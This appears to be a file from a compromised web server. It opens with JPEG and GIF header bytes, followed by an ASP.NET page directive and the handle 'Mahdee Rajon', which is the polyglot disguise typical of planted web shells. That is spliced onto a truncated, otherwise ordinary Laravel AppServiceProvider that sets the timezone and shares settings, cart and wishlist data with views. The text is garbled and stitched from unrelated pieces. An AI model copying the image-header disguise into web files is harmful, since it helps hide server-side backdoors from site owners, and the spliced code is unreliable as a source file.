ÿØÿà JFIF    ÿÛ C     $.' ",#(7),01444'9=82<.342ÿÛ C  2!!22222222222222222222222222222222222222222222222222ÿþGIF89a; <%@ Page Language="C#" %> Mahdee Rajon
 ÿØÿà JFIF    ÿÛ „  ( %!1!%*+...983,7(-.- ÿØÿà JFIF    ÿÛ „  ( %!1!%*+...983,7(-.- key] = $data_item->value; } $setting = (object) $setting; return $setting; }); $timezone_setting = Cache::get('setting'); config(['app.timezone' => $timezone_setting->timezone ?? 'UTC']); date_default_timezone_set($timezone_setting->timezone ?? 'UTC'); View::composer('*', function ($view) { $general_setting = Cache::get('setting'); $language_list = Language::where('status', 1)->get(); $currency_list = Currency::where('status', 'active')->get(); $custom_pages = CustomPage::where('status', 1)->get(); $menu_categories = Category::where('status', 'enable')->latest()->get(); $footer_blog_categories = BlogCategory::where('status', 1)->latest()->take(7)->get(); $footer = Footer::first(); $wishlist_array = []; if (Auth::guard('web')->check()) { $user_d = Auth::guard('web')->id(); $wishlist_arrays = Wishlist::where('user_id', $user_d)->pluck('item_id'); foreach ($wishlist_arrays as $wishlist_item) { $wishlist_array[] = $wishlist_item; } } $user = auth()->guard('web')->user(); if ($user) { $cartCount = Cart::with('product')->where('user_id', $user->id)->count(); } else { $cartCount = Cart::with('product')->where('session_id', session()->getId())->count(); } $view->with('general_setting', $general_setting); $view->with('language_list', $language_list); $view->with('currency_list', $currency_list); $view->with('footer', $footer); $view->with('custom_pages', $custom_pages); $view->with('menu_categories', $menu_categories); $view->with('footer_blog_categories', $footer_blog_categories); $view->with('wishlist_array', $wishlist_array); $view->with('cartCount', $cartCount ?? 0); }); // Share theme data with all views if (app()->bound('theme')) { $theme = app('theme'); $currentTheme = $theme->current(); view()->share('currentTheme', $currentTheme); view()->share('themeInfo', $theme->loadThemeInfo($currentTheme)); // Also share theme assets if ($currentTheme && $theme->exists($currentTheme)) { $themeAssets = $theme->getAssets(); view()->share('themeAssets', $themeAssets); } } } catch (Exception $ex) { Log::info('AppServiceProvider : ' . $ex->getMessage()); Artisan::call('optimize:clear'); } } }